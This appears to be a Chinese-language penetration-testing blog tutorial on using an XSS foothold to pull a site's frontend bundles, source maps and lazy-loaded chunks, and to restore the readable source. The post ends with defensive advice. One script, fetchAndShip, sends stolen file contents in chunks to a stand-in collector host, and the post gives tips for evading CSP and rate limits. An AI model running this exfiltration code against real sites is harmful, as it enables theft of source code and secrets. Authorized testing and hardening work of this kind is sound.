从弹窗到源码还原：XSS读取同源前端构建产物

弹窗弹出来那一刻很多人截图发群里就算完工了。我早年也这样干过直到某次评估里甲方技术负责人问了一句除了弹窗这东西还能造成什么损失当时我答得含糊。后来我专门花了几个晚上把「XSS 除了弹窗还能干什么」这条链路重新捋了一遍其中最有价值的一条就是利用同源上下文去读取前端源码与构建产物。这次就聊这个一次在授权评估里用 XSS 把目标站点的前端源码、source map、懒加载模块完整捞下来的完整过程。做的过程中踩了不少坑CSP 拦、路径猜不准、压缩代码看不懂、回传通道被切一个个都是实打实花时间填的。这篇内容适合三类人看做前端安全测试的想给自己项目做安全自查的开发以及刚入门想搞明白「XSS 到底能有多深」的读者。文中所有域名、路径、参数都是占位示意实际测试必须在你被书面授权的范围内进行这一点我放在最前面说因为它决定了后面所有操作能不能做。1. 先把思路捋清楚XSS读源码到底读的是什么1.1 同源策略给脚本划的那条线聊读取之前得先搞清楚浏览器到底允许脚本干什么。同源策略是一道墙它规定 A 源的脚本不能随意读取 B 源的响应内容但反过来看同一源内部的资源脚本几乎是想读什么读什么。这就是整个思路的立足点注入的脚本运行在目标页面的源里它拿到的权限和页面自己的业务代码完全一致。很多人对 XSS 的理解停在「脚本执行」也就是能弹窗、能改 DOM、能偷 Cookie。但脚本执行本身只是拿到了一个入口真正的能力边界取决于这个执行上下文能访问哪些资源。你把脚本插进 target.example.com 的页面里它就拥有了对 target.example.com 下所有可公开访问资源的读取权——同源的 JS 文件、JSON 接口、模板片段、静态资源目录只要服务器没做额外鉴权它都能拿。我见过一种比较典型的误判有人觉得「前端代码是公开的浏览器都能下载所以读源码没意义」。这话对了一半。公开可下载确实没错但「能下载」和「能系统性、自动化地把整个构建产物地图拉下来并还原成可读源码」是两码事。前者是零散的后者是结构化的后者能直接把接口清单、鉴权逻辑、隐藏功能、硬编码配置摆在你面前。1.2 前端「可见即可读」的三类目标物实际评估里我把可读取的目标分成三类价值和读取难度都不一样下面这张表是我自己常用的分类习惯类别典型内容读取难度实际价值构建产物本体打包后的 JS、CSS、静态 HTML 片段低直接按路径取中压缩混淆后需要还原source map.map 文件、内联 base64 map低到中取决于是否暴露高能直接还原原始源码同源数据与配置未鉴权接口、错误页堆栈、配置文件中需要猜路径与参数高常含敏感信息第一类是构建产物本体就是打包工具吐出来的那一堆文件。现代前端工程一般会把代码切成主包加若干 chunk主包里通常有个 manifest 或者路由表能反推出所有 chunk 的路径。单个文件读下来是压缩混淆过的可读性差但接口地址、请求参数名、错误提示文案这些字符串一般是保留的光靠这些就能摸出不少东西。第二类是 source map这是整个链路里的重头戏。打包工具为了让线上报错能定位到源码行号会生成一个 map 文件里面记录了压缩代码和原始源码的映射关系很多配置下还会直接内嵌sourcesContent字段也就是原始源码全文。只要这个文件还在生产环境里放着你把它和对应的 JS 一起取下来用现成的解析库一跑原始目录结构、变量名、注释全都回来了。第三类容易被忽略同源下那些没做鉴权的数据接口、调试页面、错误页。有些框架在出异常时会把完整调用栈渲染到页面上栈里带文件路径甚至代码片段有些后台管理系统留了/debug之类的调试入口登录态校验做得很松。这类东西的读取成本极低价值却不低。1.3 这条路走不通的几种情况写实操之前必须把边界说清楚不然容易浪费时间。以下几种情况下这条链路基本走不通或者走不深第一脚本执行上下文被限制在沙箱里。比如某些富文本渲染容器会用 iframe 的 sandbox 属性把内容隔离出去注入的脚本虽然执行了但它的源变成null读不到主站任何东西。遇到这种先看 iframe 上的 sandbox 属性里有没有allow-same-origin。第二目标给关键接口和静态资源都套了严格的鉴权。有些站点连静态资源都走鉴权中间件未登录状态下访问 JS 文件返回登录页 HTML那读下来的东西全是同一段 HTML没什么用。第三严格的 CSP 把外发通道掐死。内容安全策略里connect-src、img-src、script-src都写成白名单你能执行脚本但没法把读到的内容送出站点除非能在白名单域里找到落点。这种情况下要么想办法在站内找一处能持久化存储的位置比如个人资料、评论、日志要么只能靠页面本身的可见变化来人工读取效率极低。第四读到的内容没有 source map 且混淆强度很高。控制流平坦化加字符串加密那一套下来人工还原的成本可能比黑盒测试还高。这时候别硬啃转去找未混淆的第三方库、独立部署的子应用性价比更高。注意以上所有判断都建立在「已获得明确书面授权」的前提下。未授权环境下做任何主动探测都属于越界这一点没有讨论空间。2. 动手前的目标画像与探测清单2.1 判断站点是哪种前端架构架构判断决定了后面的读取策略值得花二十分钟先做。我的习惯是打开页面直接看源码里的 script 标签和网络请求特征几个信号很好认页面 HTML 里只有一个div idapp之类的空容器加上一两个体积很大的 JS 文件基本可以判定是客户端渲染的单页应用。这类站点的源码读取价值最高因为业务逻辑全在 JS 里。页面 HTML 里带了大量已经渲染好的 DOM 结构同时又有 hydration 相关的脚本是服务端渲染加客户端接管。这类站点除了读 JS还能顺便看看服务端模板有没有把敏感变量直接输出到 HTML 里。页面里引用了多个不同域名下的资源说明是微前端或者多团队拼装。这种情况要特别注意子应用的独立部署路径它们的构建配置往往不如主站规范暴露 source map 的概率更高。页面加载时先请求一个静态的 HTML 再请求一堆接口且接口返回的是完整页面片段属于后端模板渲染。这类站点读源码的重点就变成了同源接口和模板文件。我在一次评估里遇到的系统就是典型的单页应用页面 HTML 里只有一个 loading 动画所有业务逻辑都在三个 JS 文件里。这种结构一旦拿到源码等于把整个系统的功能地图拿到手了后面找越权、找隐藏接口的效率提升非常明显。2.2 找注入点三种XSS的探测侧重读取源码的前提是你得先有一个能稳定执行的脚本入口。反射型、存储型、DOM 型这三类的探测思路差别不小我把常用的切入点整理了一下反射型主要看 URL 参数有没有被原样输出到 HTML 里。重点不是看有没有输出而是看输出在什么上下文——HTML 标签之间、属性值里、script 块里、还是 JSON 字符串里。上下文不同能用的 payload 形态完全不同。我一般的做法是在参数里塞一个由特殊字符组成的探测串比如包含引号、尖括号、反斜杠的组合然后看页面里这些字符是被原样输出、被转义、还是被截断。存储型看的是数据落库后再渲染的位置。评论区、昵称、个人简介、工单描述、文件名的展示位置都是常见落点。这类注入点的好处是执行稳定不依赖受害者点击特定链接缺点是提交内容往往有长度限制和过滤。DOM 型最容易被漏掉因为它不经过服务端看 HTML 源码根本没痕迹。判断方法是搜前端代码里那些危险 sink比如把location.hash、location.search直接喂给innerHTML、document.write、eval的地方。我习惯在浏览器里改 hash 然后观察页面变化如果 hash 内容影响了渲染就值得深挖。有一个细节值得单独说读取源码这个目标对注入点的「稳定性」要求比弹窗高得多。弹窗只要执行一次就行读取源码需要发几十上百个请求还得等回传。所以优先选存储型或者能自己控制触发时机的 DOM 型别选那种必须让受害者点一次链接才会触发的反射型。2.3 安全响应头先扫一遍再谈payload这一步很多人跳过结果 payload 写了一堆全被拦白费时间。我现在的习惯是先看响应头把约束条件摸清楚再动手。重点看这几个Content-Security-Policy是最关键的。看script-src允不允许unsafe-inline如果不允许内联脚本直接执行不了得想办法用白名单域里的资源做跳板。看connect-src允不允许向外部发请求如果只允许 self那外发通道就得换思路。看img-src因为用new Image().src做外发是最古老也最稳的手法之一如果 img-src 宽松这条路就通。X-Content-Type-Options: nosniff影响的是你能不能把某些响应当脚本执行对读取源码影响不大但影响后续利用。Cross-Origin-Resource-Policy和Cross-Origin-Opener-Policy这两个头在跨源场景下会施加额外限制如果目标设了same-origin那你从别的源去引用它的资源会被拦但站内脚本读同源资源不受影响。还有一个容易被忽略的点Set-Cookie上的HttpOnly标记。这个标记直接决定了你读完源码之后能不能顺带拿会话凭证。做读取源码这件事本身不受影响但评估报告里要写清楚这个维度因为它直接关系到漏洞定级。2.4 最小验证payload与确认执行上下文在正式读源码之前我一般会用一个最小 payload 确认三件事脚本确实执行了、执行上下文是主文档还是某个 iframe、当前源的边界在哪。这个确认过程不要省后面所有路径拼接都依赖它。最简单的确认方式是让脚本把关键信息打到一个可见位置同时往控制台输出一份。控制台输出对评估者自己有用因为它不受页面样式影响也不依赖网络回传// 最小上下文确认只在页面上打标记不发外部请求 (function () { var info { href: location.href, origin: location.origin, referrer: document.referrer, isTop: window.top window.self, ua: navigator.userAgent }; // 控制台输出评估者自己看 console.log([ctx], JSON.stringify(info)); // 页面可见标记确认渲染位置 var tag document.createElement(div); tag.id __ctx_mark__; tag.style.cssText position:fixed;left:0;top:0;z-index:99999;background:#000;color:#0f0;font-size:12px;padding:4px; tag.textContent ctx: location.origin top (window.top window.self); document.body.appendChild(tag); })();window.top window.self这一行判断很关键。如果结果是 false说明脚本跑在 iframe 里那你能读的资源范围就受 iframe 的源限制可能跟你想的不是一回事。这时候要么想办法逃出 iframe大多数情况下不可行父页面有源隔离要么就在 iframe 的源里找价值思路要换。另外我还习惯确认一下document.domain有没有被页面自己设置过。早年为了跨子域通信很多站点会把document.domain设成主域这样同主域的多个子域之间就能互相读取。虽然现在浏览器对这块的限制越来越严但老系统里还能见到。如果目标把document.domain设成了主域而你注入的页面在某个子域上读取范围可能比你预想的要大——这个信息直接影响后面的路径探测策略。3. 从弹窗到落地的完整实操链路3.1 第一步确认执行环境与同源边界上下文确认完之后我会再补一轮环境能力探测目的是搞清楚「这个脚本到底能发什么请求、能读什么响应」。这一步做扎实了后面的路径枚举才有方向。要探测的项包括fetch和XMLHttpRequest是否可用、能不能带 Cookie 发同源请求、crypto.subtle是否可用如果要做内容摘要去重、Blob 和 FileReader 是否可用读取大文件后本地处理。这些能力在现代浏览器里基本都是标配但目标站点如果跑在很老的内核里或者页面本身禁用了某些 API会影响后面的实现方式。还有一个特别实用的探测项能不能读到performance.getEntriesByType(resource)。这个 API 会返回当前页面已经加载过的所有资源列表包括 JS 文件的完整 URL。我在一次评估里就是靠这个直接拿到了所有 chunk 的路径省掉了手动猜目录的功夫// 列出当前页面已加载的所有脚本资源用于反推构建产物路径 (function () { var list performance.getEntriesByType(resource) .map(function (e) { return e.name; }) .filter(function (u) { return /\.js(\?|$)/i.test(u); }); console.log([js-resources], list.length); list.forEach(function (u) { console.log(u); }); return list; })();这个方法的好处是零成本、无请求纯粹读浏览器已有的记录。缺点是只能看到当前页面已经加载的懒加载的模块要等你点到对应路由才会出现在列表里。所以我在实操里会配合一些常规操作比如把导航菜单挨个点一遍让各路由的 chunk 都加载出来然后再调一次这个函数一次性拿全。3.2 第二步枚举同源可读资源拿到一批已知路径之后接下来要补齐剩下的。我的枚举顺序是这样的先读主 HTML从中提取所有 script 和 link 标签的地址再从主 JS 里找 manifest 或者路由映射最后才去猜常见的打包路径。从主 JS 里找 chunk 映射是个技术活但套路很固定。现代打包工具一般会生成一个运行时里面有个对象记录着 chunk 编号到文件名的映射形式大概是{123:a1b2c3,456:d4e5f6}这种。这个对象在混淆之后名字变了但结构还在。我的做法是把主 JS 全文取下来用正则去找这种「数字键 引号字符串值」的密集结构// 从主包中提取 chunk 映射表示意 function extractChunkMap(jsText) { const result {}; // 匹配形如 123:abc123 或 123:abc123 的密集键值对 const re /(\d{1,4})\s*:\s*[]([a-f0-9]{4,32})[]/g; let m; while ((m re.exec(jsText)) ! null) { result[m[1]] m[2]; } return result; }拿到映射表之后拼路径就是常规操作。常见的拼法有几种/static/js/{name}.chunk.js、/assets/{name}.js、/js/chunk-{id}.{hash}.js。不同打包工具的命名规则不一样但都可以从主 JS 里已有的那一个真实路径反推出来——你把主文件自己的 URL 拆开看看 hash 在哪个位置chunk 名在哪个位置照着套就行。除了 JS还有几个路径值得顺手探一下成本低收益稳路径说明命中后的价值/static/js/app.js.map主包 source map直接还原主包源码/assets/目录列表目录遍历未关闭一次性拿到全部产物清单/manifest.json前端工程产物清单反推所有 chunk 路径/config.js、/env.js运行时配置注入文件常有环境配置与密钥占位/api/下的未鉴权接口数据接口可能有配置与业务数据提示目录遍历那一项能不能成完全看服务器配置别把时间浪费在反复变形上。我一般只试三四种标准形式不中就转去读 manifest。3.3 第三步读取内容与数据回收通道资源路径确定之后核心动作就是发请求取内容再把内容送出来。这一步是整个链路里最容易翻车的地方因为涉及跨域、CSP、长度限制三个约束。先说取内容。同源请求用 fetch 最省事能拿到文本还能控制并发。但要注意如果页面本身设置了credentials: include你发的请求会带上会话 Cookie某些接口可能会因此返回不同的内容。做读取源码这件事我倾向于用credentials: same-origin的默认行为避免带上不必要的凭证触发服务端的异常检测。再说送出内容。这一步的选择取决于 CSP。如果connect-src宽松直接用 fetch POST 到自建接收端最方便如果img-src宽松但 connect-src 严格用new Image().src把数据挂在 URL 参数上也能送出去如果这两条都堵死就只能退而求其次把内容渲染到页面上人工复制。实际评估里我用得最多的是分片加摘要去重这套组合。原因很现实单个 JS 文件动辄几百 KB有的几 MB一次性塞进 URL 参数会超长被截断一次性 POST 又容易因为内容太大被服务端或中间设备拦。所以我把它拆成小块按顺序编号发送接收端按编号重组// 分片回传示意读取一个同源文件并按块发送 async function fetchAndShip(url, token, chunkSize 2000) { const resp await fetch(url, { credentials: same-origin }); if (!resp.ok) return { url, ok: false, status: resp.status }; const text await resp.text(); const total Math.ceil(text.length / chunkSize); for (let i 0; i total; i) { const part text.slice(i * chunkSize, (i 1) * chunkSize); const body JSON.stringify({ u: url, i, n: total, d: part }); // 接收端只需提供一个可写的同源宽松端点 await fetch(https://collector.example.com/ingest?k token, { method: POST, mode: no-cors, // 规避 CORS 预检 headers: { Content-Type: text/plain }, body }); } return { url, ok: true, size: text.length, chunks: total }; }这段代码里有几个参数值得解释。chunkSize设成 2000 是个经验值太大会被中间设备截断太小会让请求数暴增触发频率限制。mode: no-cors是为了跳过预检请求代价是读不到响应但对我们这种单向发送的场景完全够用反而更稳。Content-Type用text/plain是为了避免触发预检很多 WAF 对application/json的跨域请求会更敏感。token放在 URL 里是为了在接收端区分不同来源避免多次评估的数据混在一起。3.4 第四步用source map把压缩代码还原成可读源码前面拿到的 JS 是压缩混淆过的变量名全是单字母函数体全在一行人工看效率极低。这时候 source map 就是救命的东西。先说怎么判断有没有 map。最直接的方法是看 JS 文件末尾有没有一行//# sourceMappingURLxxx.map的注释有的话直接按相对路径取。还有一种是内联的注释里是data:application/json;base64,开头的一长串这种说明 map 被打进了 JS 文件里不需要额外请求直接在本地解开就行。第三种是没有注释但服务端仍然放着 map 文件这种情况需要你按命名规则去猜比如app.js对应app.js.map成功率不算低值得试。拿到 map 之后还原的方式有两种。手工做法是用现成的解析库跑一遍把原始的 sources 和 sourcesContent 导出成文件树// 用 source-map 库还原Node 环境执行 const fs require(fs); const path require(path); const { SourceMapConsumer } require(source-map); async function restore(mapFile, outDir) { const raw JSON.parse(fs.readFileSync(mapFile, utf8)); const consumer await new SourceMapConsumer(raw); // 优先使用内嵌的源码内容 if (Array.isArray(raw.sourcesContent)) { raw.sources.forEach((src, idx) { const content raw.sourcesContent[idx]; if (!content) return; const target path.join(outDir, src.replace(/^webpack:\/\/\//, ).replace(/\.\.\//g, )); fs.mkdirSync(path.dirname(target), { recursive: true }); fs.writeFileSync(target, content); }); } consumer.destroy(); }如果 map 里没有sourcesContent只记录了映射关系那就得靠映射表逐行反查。这种做法比较费劲一般只有在你确实需要精确定位某个函数时才值得做。实际评估里绝大多数情况都能直接拿到内嵌源码因为很多构建配置默认会把源码内联进去。这一步做完你拿到的就不只是压缩代码了而是带目录结构、带原始变量名、带注释的完整工程源码。组件名、路由定义、状态管理结构、接口封装层全都清清楚楚。我在一次评估里靠这个直接定位到了三个前端隐藏的管理入口而这三个入口在页面上根本没有链接。3.5 第五步补全懒加载模块与动态chunk主包还原完之后你会发现源码里有大量import()调用对应的就是懒加载的模块。这些模块不在主包里得单独取。好在源码还原之后这些动态引入的路径是明文的直接照着拼就行。不过有几个细节要注意。第一动态 import 的路径有时候是拼接出来的比如import(./views/ name .js)这种就得结合路由表去推把可能的 name 值枚举一遍。第二chunk 文件名里带 hashhash 每次构建都会变所以不能复用旧路径必须从当前这次构建的产物里现取。第三某些框架会在运行时注入一套模块注册表路径不是文件系统路径而是逻辑名这种就得看运行时的加载逻辑。补全的顺序我一般是先按源码里出现的字面量路径逐个取取不到的再从 chunk 映射表里按编号顺序遍历。遍历的时候做个简单判断如果返回的响应是 HTML 而不是 JS说明走了单页应用的路由回退就跳过避免把一堆重复的 index.html 当成源码存下来。这里还有个提高效率的小技巧并发控制。浏览器对同源并发请求数有限制一般 6 个左右发太多会被排队反而不如控制好节奏。我一般用 4 到 6 的并发度配合每个请求之间的微小延迟既快又不至于触发频率限制。3.6 实操中几个决定成败的参数细节这一段是纯经验都是踩过坑之后总结出来的文档里基本不会写。第一个是编码问题。读取到的 JS 内容里可能有各种字符直接塞进 JSON 再 POST 出去如果接收端的解析没做好中文注释会变乱码。我的做法是在发送前统一做一次encodeURIComponent接收端再解回来多一层编码但省心。第二个是内容去重。枚举路径的时候很多路径会回退到同一个 index.html不去重的话数据量会翻好几倍。我用一个简单的哈希集合记录已发送内容的摘要重复的直接跳过。摘要算法用不着多强简单的字符统计加长度就够区分了。第三个是断点续传。评估过程中页面可能被刷新、会话可能过期、脚本可能被清理一旦中断就得重来。我在接收端维护了一个已收文件的清单脚本启动时先请求这个清单跳过已经收完的只补剩下的。这个设计让整个流程可以分多次完成不用一口气跑完。第四个是失败重试的节奏。有些路径第一次请求超时第二次就成功了可能是服务端偶发的慢查询。我给每个失败项设了两次重试间隔递增两次都不中就记下来跳过不纠缠。第五个是页面可见性。有些浏览器在标签页切到后台时会降低定时器频率如果你的脚本依赖 setTimeout 做节流切后台之后速度会变得很慢。解决方法是把主要逻辑放在 Promise 链里跑少依赖定时器必须用定时器的地方把间隔设短一点来抵消降频影响。4. 常见问题与排查速查表4.1 内容被拦截类问题这类问题最典型的表现是脚本明明执行了但请求发不出去或者发出去的内容不完整。原因基本都能在 CSP 和浏览器控制台里找到答案。控制台里会明确告诉你哪条策略拦了哪个请求别靠猜直接看报错。现象可能原因排查方法处理思路内联脚本完全不执行CSP 的 script-src 不含 unsafe-inline控制台看 CSP 报错改用事件处理器属性或白名单域资源外部请求全部失败connect-src 只允许 self控制台看被拦的域名改用 img 标签外发或站内落点图片外发无效img-src 白名单严格看 CSP 的 img-src 值找白名单域里的可写端点请求发出但内容被截断中间设备长度限制对比发送与接收的长度缩小分片增加编号响应内容为空请求被鉴权中间件拦截看响应状态码与内容类型换路径或带上正确的来源头4.2 路径与资源类问题路径类问题最磨人因为失败的时候你分不清是路径错了、还是被拦了、还是文件本来就不存在。我的排查顺序是先确认单点再批量别一上来就枚举一大堆。先挑一个你百分百确定存在的路径比如页面 HTML 里直接引用的那个主 JS读它确认读取链路本身没问题。链路确认之后再试一个你不确定但合理猜测的路径比如主 JS 加.map后缀。这一步能通说明 source map 大概率在可以放心批量猜这一步不通可能是 map 没部署也可能是路径规则不同得换个猜法。还有一种情况是路径对了但返回的是 HTML。这通常意味着服务器把找不到的路径回退到了首页也就是单页应用的路由回退。判断方法是看响应的内容类型和开头几个字符如果开头是!DOCTYPE html那就是回退了这个路径等于不存在。4.3 回传与稳定性类问题回传不稳定是我花时间最多的地方。典型症状是前几十个文件收得很顺后面开始丢包或者接收端收到的内容顺序错乱、有重复。丢包一般是频率限制导致的。表现是请求返回 429 或者直接超时。处理办法是把并发度降下来加请求间隔必要时分批跑跑一批停一会儿。顺序错乱是因为并发发送接收端到达顺序不确定。这个不影响最终结果只要每个分片带了文件标识和序号接收端按序号重组就行。但要注意如果某个分片丢了重组就会卡住所以接收端必须有超时机制超时就判定该文件不完整标记待补。重复内容是去重没做好。前面提到的摘要集合能解决大部分但如果两次运行的会话不同集合会重置还是会重复。所以更稳的做法是把去重信息放在接收端持久化而不是放在脚本里。5. 从防守方看这条链路怎么堵5.1 输出编码要在正确的上下文里做站在防守方角度这条链路的第一道闸口就是让脚本根本执行不了。输出编码听着简单做对不容易关键是「上下文匹配」这四个字。同样是用户输入输出到 HTML 标签之间要做 HTML 实体编码输出到属性值里除了实体编码还要处理引号输出到 script 块里要按 JavaScript 字符串规则转义特别要注意/script这种闭合序列输出到 CSS 或者 URL 里又得按各自的规则来。我见过很多实现全站统一一个编码函数结果在某些上下文里刚好漏掉了关键的字符防护就形同虚设。框架自带模板引擎的尽量用引擎的自动转义别用原始输出语法。手写字符串拼接的地方是这类问题的高发区值得做一次专项排查。排查方法很直接全局搜一遍危险 sink看看每一处的入参来源可不可控。5.2 CSP别写成摆设CSP 的防护效果取决于写得多细。我见过不少站点配了 CSP但script-src里带着unsafe-inline等于内联脚本随便跑防护基本为零。还有的配了unsafe-evaleval和new Function都能用动态执行的口子全开着。比较务实的做法是分阶段收紧。第一版先把default-src设成 self把外部域都列白名单这一步能挡掉大部分外发通道。第二版引入 nonce 或者 hash把内联脚本干掉。第三版再收紧connect-src只允许业务真正需要的那几个地址。每收紧一步都要跑一轮回归别一次改到底导致业务挂了。另外CSP 只挡外发和加载不挡脚本本身执行。所以它是一道「减损」的墙不是「防注入」的墙。注入点该修还得修别指望 CSP 兜底。5.3 构建产物治理源码不该出现在生产环境这一节是给开发的也是最容易做、收益最直接的一块。source map 该不该上生产是个权衡。不上线上报错定位困难上了源码等于公开。我的建议是主站不公开部署 map改用错误监控平台在构建阶段上传 map线上只留一个上报用的标识报错信息由平台侧解析。这样既能定位问题又不暴露源码。如果确实需要线上 map至少要做访问控制别让它匿名可下载。还有个小细节很多构建工具默认会在 JS 末尾加sourceMappingURL注释就算文件没部署这行注释也等于告诉别人「这里有源码」建议在构建时去掉。构建产物里还有几个常见的泄露点值得一起清理注释里的内部地址和测试账号、console.log里打印的调试信息、webpack 的DefinePlugin注入的环境变量如果注入了不该注入的、以及 source map 的sourcesContent字段如果做了访问控制但仍不想暴露源码。这些清理动作放到构建流水线里一次配置长期生效。5.4 检测与响应前面讲的都是预防最后补一段检测。这类读取行为有个明显特征短时间内对同源的大量静态资源发起请求且请求的 referer 是应用页面、但用户行为轨迹对不上。在网关或者前端监控里做一条规则对「单会话内静态资源请求数量异常」做告警能捞到不少这类活动。响应的重点不是封 IP而是尽快确认哪些资源被读了、有没有敏感内容。如果构建产物治理做得好最坏情况也就是拿到压缩代码和接口清单如果治理没做好源码被完整还原那后续要评估的面就大得多包括源码里暴露的内部接口、测试环境地址、鉴权逻辑细节。6. 一点个人经验和边界意识这套链路我完整跑过几次每次最大的感受都不是技术难度而是「功课做在前面」这件事的价值。真正花时间的不是写 payload而是搞清楚目标的前端架构、CSP 策略、构建产物的命名规则。这三件事摸清楚了后面基本是流水线作业摸不清楚写再多 payload 也是乱撞。还有个体会是关于工具的。我见过一些同行一上来就上各种扫描器跑完拿一堆告警然后卡在「怎么证明这是真的」。做这类需要串联多步的操作手工验证的效率反而更高因为每一步你都知道自己在干什么、上一步的结果怎么用。工具的定位应该是帮你枚举和比对判断和串联还得自己来。最后必须说的是边界。这类操作只能在有明确书面授权、范围清晰的评估中进行读到的所有内容都属于委托方的资产评估结束要按约定处置不留存、不外传。我个人的习惯是把回收的数据放在加密目录里评估报告提交当天就清掉原始文件只保留必要的截图和摘要。这不是形式主义是把「有能力做」和「可以做」这两件事分清楚——技术上的可能性从来不等同于行动上的正当性这条线守不住能力越大风险越大。